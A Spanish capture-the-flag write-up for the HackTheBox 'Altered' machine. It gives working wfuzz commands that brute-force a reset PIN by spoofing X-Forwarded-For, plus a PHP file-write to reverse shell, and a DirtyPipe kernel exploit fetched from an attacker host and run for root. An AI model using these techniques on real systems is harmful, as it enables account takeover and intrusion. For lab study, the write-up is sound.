HackTheBox - Altered (hard)
- Further enchance your skills by exploring related academy modules.
PortScan
❯ sudo nmap -sCV -p22,80 10.10.11.159 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 16:48 CST
Nmap scan report for 10.10.11.159
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-title: UHC March Finals
|_Requested resource was http://10.10.11.159/login
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeración
- Tenemos 2 puertos abiertos el puerto 22 que corresponde al servicio
ssh
y el puerto 80 que corresponde a un serviciohttp
el cual esta corriendo una pagina web.
❯ whatweb http://10.10.11.159
http://10.10.11.159 [302 Found] Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.159], Laravel, Meta-Refresh-Redirect[http://10.10.11.159/login], RedirectLocation[http://10.10.11.159/login], Title[Redirecting to http://10.10.11.159/login], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], nginx[1.18.0]
http://10.10.11.159/login [200 OK] Bootstrap, Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.159], JQuery[1.9.1], Laravel, PasswordField[password], Script[text/javascript], Title[UHC March Finals], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=edge], nginx[1.18.0]
- La pagina web nos redirige a un panel de login.
- Si probamos con
admin:admin
no funciona pero si le damos en recuperar contraseña vemos que nos dicen que introduzcamos un PIN que nos envían al parecer por correo pero no tenemos acceso al correo.
- Si ponemos
PINs
incorrectos nos da este error.
- Tenemos 2 cookies.
Rate-Limit Bypass
- Lo que podemos hacer es Fuerza bruta al
PIN
conwfuzz
pero primero tenemos que capturar la petición a la hora de mandar el PIN para saber como esta viajando la data.
- Después de un cierto momento al parecer nos bloquean.
❯ wfuzz -c -t 200 -z range,0000-9999 -d 'name=admin&pin=FUZZ' -H "Cookie: XSRF-TOKEN=eyJpdiI6ImpCWXVEcURCbGRBMUxCZ3d2SjZrSlE9PSIsInZhbHVlIjoiY09uZG1JUGhpMnZtZFlwRDMzQzd2R2hoenFlZ0JwMzJhb3VsTzR0NmRPUk8vdm5DRkszMENJMHdSUHdhRUtEU0l3Y1JJbmMzY3FyRGtHQ0pUb2FiRXU4Q0ZpdWNueEhvemgwSkE3VTNDZTBKYVhFUDNQNU9MaXV1emJlS0FBekoiLCJtYWMiOiJjY2NkM2ZlNWEzNzU3MGEyNjZkNDNlY2RmYmE2MGEyMDFjZDU4MjlmNTRhYWQ0YTU0ZDRkYzc3Mjk1MDIwYTBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InhFWnVudXJLVmhGM1IyWVFJbER0YkE9PSIsInZhbHVlIjoiWjIreGdWZGVoZDJtWmRiY0NGaEhraldmZE5KYVhuYzFIaWorWjQ4RXhUWitITTdnYk5HQW9uR0VTdjJVYVBjWEdLTXA3R3JzQjJIcVBCNzc5WmdoWFdDRVJXWEFHU1JzWTU0OHNlTXBIOVRJcVVuN0Q4eHRMUTRhSnB2eGQxdzkiLCJtYWMiOiIyZDQ2ZDhjZWQ0NTliY2M3NjQwNzE2ZjY5MDkxZGZkYjlkMTNkOTRkOTU1ODYwN2ZkZjZlMDljYTk5ZTE4N2U2IiwidGFnIjoiIn0%3D" http://10.10.11.159/api/resettoken
-
Existen formas de hacer
Bypass
https://book.hacktricks.xyz/pentesting-web/rate-limit-bypass ya que al parecer si ve que estamos tramitando muchas peticiones desde una misma IP nos bloquea, vamos abusar de las cabeceras. -
El problema de enviar esta petición es que se va a dar cuenta de que no es dinamico.
❯ wfuzz -c -t 200 -z range,0000-9999 -H "X-Originating-IP: 127.0.0.1" -d 'name=admin&pin=FUZZ' -H "Cookie: XSRF-TOKEN=eyJpdiI6ImpCWXVEcURCbGRBMUxCZ3d2SjZrSlE9PSIsInZhbHVlIjoiY09uZG1JUGhpMnZtZFlwRDMzQzd2R2hoenFlZ0JwMzJhb3VsTzR0NmRPUk8vdm5DRkszMENJMHdSUHdhRUtEU0l3Y1JJbmMzY3FyRGtHQ0pUb2FiRXU4Q0ZpdWNueEhvemgwSkE3VTNDZTBKYVhFUDNQNU9MaXV1emJlS0FBekoiLCJtYWMiOiJjY2NkM2ZlNWEzNzU3MGEyNjZkNDNlY2RmYmE2MGEyMDFjZDU4MjlmNTRhYWQ0YTU0ZDRkYzc3Mjk1MDIwYTBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InhFWnVudXJLVmhGM1IyWVFJbER0YkE9PSIsInZhbHVlIjoiWjIreGdWZGVoZDJtWmRiY0NGaEhraldmZE5KYVhuYzFIaWorWjQ4RXhUWitITTdnYk5HQW9uR0VTdjJVYVBjWEdLTXA3R3JzQjJIcVBCNzc5WmdoWFdDRVJXWEFHU1JzWTU0OHNlTXBIOVRJcVVuN0Q4eHRMUTRhSnB2eGQxdzkiLCJtYWMiOiIyZDQ2ZDhjZWQ0NTliY2M3NjQwNzE2ZjY5MDkxZGZkYjlkMTNkOTRkOTU1ODYwN2ZkZjZlMDljYTk5ZTE4N2U2IiwidGFnIjoiIn0%3D" http://10.10.11.159/api/resettoken
-
Tendremos que crear un diccionario con diferentes
IPs
. -
Mediante 2 bucles aninados vamos a crear el diccionario con las
IPs
.
❯ for i in {0..40}; do for j in {0..253}; do echo "10.10.$i.$j"; done; done > IPs
❯ wc -l IPs
10414 IPs
- Si lo ejecutamos vemos que no esta iterando.
❯ wfuzz -c -t 200 -z range,0000-9999 -w /home/miguelrega7/Hackthebox/altered/content/IPs -H "X-Originating-IP: FUZ2Z" -d 'name=admin&pin=FUZZ' -H "Cookie: XSRF-TOKEN=eyJpdiI6ImpCWXVEcURCbGRBMUxCZ3d2SjZrSlE9PSIsInZhbHVlIjoiY09uZG1JUGhpMnZtZFlwRDMzQzd2R2hoenFlZ0JwMzJhb3VsTzR0NmRPUk8vdm5DRkszMENJMHdSUHdhRUtEU0l3Y1JJbmMzY3FyRGtHQ0pUb2FiRXU4Q0ZpdWNueEhvemgwSkE3VTNDZTBKYVhFUDNQNU9MaXV1emJlS0FBekoiLCJtYWMiOiJjY2NkM2ZlNWEzNzU3MGEyNjZkNDNlY2RmYmE2MGEyMDFjZDU4MjlmNTRhYWQ0YTU0ZDRkYzc3Mjk1MDIwYTBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InhFWnVudXJLVmhGM1IyWVFJbER0YkE9PSIsInZhbHVlIjoiWjIreGdWZGVoZDJtWmRiY0NGaEhraldmZE5KYVhuYzFIaWorWjQ4RXhUWitITTdnYk5HQW9uR0VTdjJVYVBjWEdLTXA3R3JzQjJIcVBCNzc5WmdoWFdDRVJXWEFHU1JzWTU0OHNlTXBIOVRJcVVuN0Q4eHRMUTRhSnB2eGQxdzkiLCJtYWMiOiIyZDQ2ZDhjZWQ0NTliY2M3NjQwNzE2ZjY5MDkxZGZkYjlkMTNkOTRkOTU1ODYwN2ZkZjZlMDljYTk5ZTE4N2U2IiwidGFnIjoiIn0%3D" http://10.10.11.159/api/resettoken
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.159/api/resettoken
Total requests: 104140000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.0"
000000003: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.2"
000000016: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.15"
000000019: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.18"
000000007: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.6"
000000020: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.19"
000000018: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.17"
000000015: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.14"
000000014: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.13"
000000009: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.8"
000000011: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.10"
000000017: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.16"
000000013: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.12"
000000064: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.63"
000000061: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.60"
000000059: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.58"
000000063: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.62"
000000062: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.61"
000000060: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.59"
000000057: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.56"
000000056: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.55"
000000054: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.53"
000000053: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.52"
000000050: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.49"
000000071: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.70"
000000069: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.68"
000000073: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.72"
000000058: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.57"
000000075: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.74"
000000070: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.69"
000000049: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.48"
000000052: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.51"
000000072: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.71"
000000048: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.47"
000000068: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.67"
000000051: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.50"
000000067: 200 140 L 324 W 5644 Ch "0000 - 10.10.0.66"
000000082: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.81"
000000078: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.77"
000000076: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.75"
000000047: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.46"
000000045: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.44"
000000055: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.54"
000000090: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.89"
000000087: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.86"
000000086: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.85"
000000081: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.80"
000000077: 429 36 L 125 W 6625 Ch "0000 - 10.10.0.76"
- Para que itere tenemos que usar el parámetro
-m
enwfuzz
para que itere.
❯ wfuzz -c -m zip -t 200 -z range,0000-9999 -w /home/miguelrega7/Hackthebox/altered/content/IPs -H "X-Originating-IP: FUZ2Z" -d 'name=admin&pin=FUZZ' -H "Cookie: XSRF-TOKEN=eyJpdiI6ImpCWXVEcURCbGRBMUxCZ3d2SjZrSlE9PSIsInZhbHVlIjoiY09uZG1JUGhpMnZtZFlwRDMzQzd2R2hoenFlZ0JwMzJhb3VsTzR0NmRPUk8vdm5DRkszMENJMHdSUHdhRUtEU0l3Y1JJbmMzY3FyRGtHQ0pUb2FiRXU4Q0ZpdWNueEhvemgwSkE3VTNDZTBKYVhFUDNQNU9MaXV1emJlS0FBekoiLCJtYWMiOiJjY2NkM2ZlNWEzNzU3MGEyNjZkNDNlY2RmYmE2MGEyMDFjZDU4MjlmNTRhYWQ0YTU0ZDRkYzc3Mjk1MDIwYTBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InhFWnVudXJLVmhGM1IyWVFJbER0YkE9PSIsInZhbHVlIjoiWjIreGdWZGVoZDJtWmRiY0NGaEhraldmZE5KYVhuYzFIaWorWjQ4RXhUWitITTdnYk5HQW9uR0VTdjJVYVBjWEdLTXA3R3JzQjJIcVBCNzc5WmdoWFdDRVJXWEFHU1JzWTU0OHNlTXBIOVRJcVVuN0Q4eHRMUTRhSnB2eGQxdzkiLCJtYWMiOiIyZDQ2ZDhjZWQ0NTliY2M3NjQwNzE2ZjY5MDkxZGZkYjlkMTNkOTRkOTU1ODYwN2ZkZjZlMDljYTk5ZTE4N2U2IiwidGFnIjoiIn0%3D" http://10.10.11.159/api/resettoken
-
Bueno si lo ejecutamos nos sigue bloqueando.
-
Vamos a cambiar las cabecera a esta.
❯ wfuzz -c -m zip -t 200 -z range,0000-9999 -w /home/miguelrega7/Hackthebox/altered/content/IPs -H "X-Forwarded-For: FUZ2Z" -d 'name=admin&pin=FUZZ' -H "Cookie: XSRF-TOKEN=eyJpdiI6ImpCWXVEcURCbGRBMUxCZ3d2SjZrSlE9PSIsInZhbHVlIjoiY09uZG1JUGhpMnZtZFlwRDMzQzd2R2hoenFlZ0JwMzJhb3VsTzR0NmRPUk8vdm5DRkszMENJMHdSUHdhRUtEU0l3Y1JJbmMzY3FyRGtHQ0pUb2FiRXU4Q0ZpdWNueEhvemgwSkE3VTNDZTBKYVhFUDNQNU9MaXV1emJlS0FBekoiLCJtYWMiOiJjY2NkM2ZlNWEzNzU3MGEyNjZkNDNlY2RmYmE2MGEyMDFjZDU4MjlmNTRhYWQ0YTU0ZDRkYzc3Mjk1MDIwYTBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InhFWnVudXJLVmhGM1IyWVFJbER0YkE9PSIsInZhbHVlIjoiWjIreGdWZGVoZDJtWmRiY0NGaEhraldmZE5KYVhuYzFIaWorWjQ4RXhUWitITTdnYk5HQW9uR0VTdjJVYVBjWEdLTXA3R3JzQjJIcVBCNzc5WmdoWFdDRVJXWEFHU1JzWTU0OHNlTXBIOVRJcVVuN0Q4eHRMUTRhSnB2eGQxdzkiLCJtYWMiOiIyZDQ2ZDhjZWQ0NTliY2M3NjQwNzE2ZjY5MDkxZGZkYjlkMTNkOTRkOTU1ODYwN2ZkZjZlMDljYTk5ZTE4N2U2IiwidGFnIjoiIn0%3D" http://10.10.11.159/api/resettoken
- No nos bloquea pero obtenemos respuestas iguales.
000001471: 200 140 L 324 W 5644 Ch "1470 - 10.10.5.200"
000001474: 200 140 L 324 W 5644 Ch "1473 - 10.10.5.203"
000001490: 200 140 L 324 W 5644 Ch "1489 - 10.10.5.219"
000001478: 200 140 L 324 W 5644 Ch "1477 - 10.10.5.207"
000001502: 200 140 L 324 W 5644 Ch "1501 - 10.10.5.231"
000001501: 200 140 L 324 W 5644 Ch "1500 - 10.10.5.230"
000001477: 200 140 L 324 W 5644 Ch "1476 - 10.10.5.206"
000001500: 200 140 L 324 W 5644 Ch "1499 - 10.10.5.229"
000001496: 200 140 L 324 W 5644 Ch "1495 - 10.10.5.225"
000001504: 200 140 L 324 W 5644 Ch "1503 - 10.10.5.233"
000001497: 200 140 L 324 W 5644 Ch "1496 - 10.10.5.226"
000001503: 200 140 L 324 W 5644 Ch "1502 - 10.10.5.232"
000001499: 200 140 L 324 W 5644 Ch "1498 - 10.10.5.228"
000001495: 200 140 L 324 W 5644 Ch "1494 - 10.10.5.224"
000001498: 200 140 L 324 W 5644 Ch "1497 - 10.10.5.227"
000001492: 200 140 L 324 W 5644 Ch "1491 - 10.10.5.221"
000001507: 200 140 L 324 W 5644 Ch "1506 - 10.10.5.236"
000001511: 200 140 L 324 W 5644 Ch "1510 - 10.10.5.240"
000001493: 200 140 L 324 W 5644 Ch "1492 - 10.10.5.222"
000001505: 200 140 L 324 W 5644 Ch "1504 - 10.10.5.234"
000001520: 200 140 L 324 W 5644 Ch "1519 - 10.10.5.249"
000001489: 200 140 L 324 W 5644 Ch "1488 - 10.10.5.218"
000001491: 200 140 L 324 W 5644 Ch "1490 - 10.10.5.220"
000001506: 200 140 L 324 W 5644 Ch "1505 - 10.10.5.235"
000001517: 200 140 L 324 W 5644 Ch "1516 - 10.10.5.246"
000001514: 200 140 L 324 W 5644 Ch "1513 - 10.10.5.243"
000001516: 200 140 L 324 W 5644 Ch "1515 - 10.10.5.245"
000001534: 200 140 L 324 W 5644 Ch "1533 - 10.10.6.9"
000001530: 200 140 L 324 W 5644 Ch "1529 - 10.10.6.5"
000001513: 200 140 L 324 W 5644 Ch "1512 - 10.10.5.242"
000001525: 200 140 L 324 W 5644 Ch "1524 - 10.10.6.0"
000001542: 200 140 L 324 W 5644 Ch "1541 - 10.10.6.17"
000001527: 200 140 L 324 W 5644 Ch "1526 - 10.10.6.2"
000001538: 200 140 L 324 W 5644 Ch "1537 - 10.10.6.13"
000001541: 200 140 L 324 W 5644 Ch "1540 - 10.10.6.16"
000001540: 200 140 L 324 W 5644 Ch "1539 - 10.10.6.15"
- Bueno ahora es mas fácil solo ocultamos respuestas con esos caracteres y listo pero antes capturaremos otra vez la petición para cambiar la cookie y sea valida para la petición que estamos haciendo desde la web.
❯ wfuzz -c --hh=5644 -m zip -t 200 -z range,0000-9999 -w /home/miguelrega7/Hackthebox/altered/content/IPs -H "X-Forwarded-For: FUZ2Z" -d 'name=admin&pin=FUZZ' -H "Cookie: XSRF-TOKEN=eyJpdiI6ImpCWXVEcURCbGRBMUxCZ3d2SjZrSlE9PSIsInZhbHVlIjoiY09uZG1JUGhpMnZtZFlwRDMzQzd2R2hoenFlZ0JwMzJhb3VsTzR0NmRPUk8vdm5DRkszMENJMHdSUHdhRUtEU0l3Y1JJbmMzY3FyRGtHQ0pUb2FiRXU4Q0ZpdWNueEhvemgwSkE3VTNDZTBKYVhFUDNQNU9MaXV1emJlS0FBekoiLCJtYWMiOiJjY2NkM2ZlNWEzNzU3MGEyNjZkNDNlY2RmYmE2MGEyMDFjZDU4MjlmNTRhYWQ0YTU0ZDRkYzc3Mjk1MDIwYTBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjZkcFJRb0VjN3NnM0czZ3hXN2t2c3c9PSIsInZhbHVlIjoiVC93OVZvNlBGZXlYTWFJaEwrMmNRalY3cExsYUNBNnBOU01vU0dDankwR1JvVHExdk0xWERmUDVMZ1QvNWxYZVFmbVBEaTJNekVKTDdNUExIcFBuenNHSUkyT1B1b3YvTUxScldNbUM5VzNaWThWWC9oWXZPUzNFZmJyYTdzZU8iLCJtYWMiOiJhODViMmZmYTFkZGRkMGFkZTE4ZDFhNWE2NWY5ZTgwOWE0ZTBlMjhiNjAxZDQyOTFhOTE1ODk5NTYxMWY2Nzc2IiwidGFnIjoiIn0%3D" http://10.10.11.159/api/resettoken
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.159/api/resettoken
Total requests: 10000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001052: 200 138 L 303 W 5366 Ch "1051 - 10.10.4.35"
-
Tenemos un
PIN code
vamos a probarlo. -
Y bueno funciona.
- Funciona.
- Y bueno estamos dentro.
Shell as www-data && Type Juggling
-
Vamos a capturar con
Burpsuite
muchas peticiones a la hora de darclick
enview
en cadaprofile
ya que no vemos nada interesante. -
Vemos que son estáticas no cambian el
secret
.
- Si cambiamos el
secret
añadiendo otro carácter nos detecta.
- Si cambiamos el
request method
obtenemos la siguiente respuesta.
- Si lo ponemos en
GET
manualmente obtenemos una data diferente por que si lo acepta.
- Vamos a cambiar la petición a un JSON.
- Si alteramos la data cambiando un valor o agregando otro nos da este error.
- Lo mas probable es que por detrás se aplique una comparativa al valor del
secret
que tiene que ser exactamente ese para que funcione pero cuando se aplican comparativas usando==
podemos poner un True y va a hacer correcto por eso mejor siempre usar un===
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling.
SQL Injection
- Si añadimos una comilla en el campo
id
obtenemos un error.
- Si probamos haciendo un ordenamiento para ver si es vulnerable a
SQLI
obtenemos lo mismo con o sin comilla.
- Sin embargo al llegar a 3 no obtenemos un error.
- Si enviamos la petición no vemos los números para poder cambiar la
query
.
- Si cambiamos el numero del id vemos que el campo que podemos escribir es en el 3.
- Sabemos el nombre de la base de datos.
- Estas son todas las bases de datos.
- Vamos a ver las tablas de la base de datos
uhc
.
- Ahora las columnas.
- Vemos los usuarios y sus hashes.
-
Ninguna de las credenciales que obtendremos después de crackear los hashes nos funcionan para conectarnos por
ssh
. -
Pero podemos leer archivos.
User flag
- Podemos ver la flag.
-
Algo que podemos hacer es ver si tenemos capacidad de escritura sabemos que la web corre
Nginx
yPHP
pero necesitamos saber la ruta donde guardaría algún archivo que escribamos. -
Encontramos donde esta montada la web.
- Si comprobamos vemos que es correcto.
- Podemos probar escribiendo
test
en un archivo.txt en la ruta que sabemos que existe.
- Pero si vamos a la web lo vemos.
- Como interpreta PHP vamos a inyectar código PHP.
- Funciona.
- Podemos ejecutar comandos.
- Vamos a ponernos en escucha.
❯ nc -nlvp 443
listening on [any] 443 ...
- Recibimos la shell.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.11.159] 55000
bash: cannot set terminal process group (931): Inappropriate ioctl for device
bash: no job control in this shell
www-data@altered:/srv/altered/public$ whoami
whoami
www-data
www-data@altered:/srv/altered/public$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@altered:/srv/altered/public$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo;fg
[1] + continued nc -nlvp 443
reset xterm
ENTER
www-data@altered:/srv/altered/public$ export TERM=xterm
Escalada de Privilegios
- La versión de
kernel
es vulnerable https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.
www-data@altered:/$ uname -a
Linux altered 5.16.0-051600-generic #202201092355 SMP PREEMPT Mon Jan 10 00:21:11 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
www-data@altered:/$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04.4 LTS
Release: 20.04
Codename: focal
www-data@altered:/$
- Nos descargamos el exploit.
❯ wget https://raw.githubusercontent.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/refs/heads/main/exploit-1.c
- Ahora compilamos.
❯ gcc exploit-1.c -o exploit2 -static
- Lo pasamos a la maquina.
www-data@altered:/dev/shm$ wget http://10.10.14.24/exploit2
- Lo ejecutamos.
www-data@altered:/dev/shm$ ./exploit2
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
system() function call seems to have failed :(
www-data@altered:/dev/shm$ ./exploit2
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
system() function call seems to have failed :(
- Ahora tenemos la contraseña.
www-data@altered:/dev/shm$ su -
--- Welcome to PAM-Wordle! ---
A five character [a-z] word has been selected.
You have 6 attempts to guess the word.
After each guess you will recieve a hint which indicates:
? - what letters are wrong.
* - what letters are in the wrong spot.
[a-z] - what letters are correct.
--- Attempt 1 of 6 ---
Word: chmod
Hint->??*??
--- Attempt 2 of 6 ---
Word: mkdir
Hint->*??*?
--- Attempt 3 of 6 ---
Word: shell
Hint->??*??
--- Attempt 4 of 6 ---
Word: email
Invalid guess: unknown word.
Word: cmake
Hint->?*??e
--- Attempt 5 of 6 ---
Word: uname
Hint->u??me
--- Attempt 6 of 6 ---
Word: utime
Correct!
Password:
# whoami
root
# cat /root/root.txt
507f83d162ba9b570e5397694741787d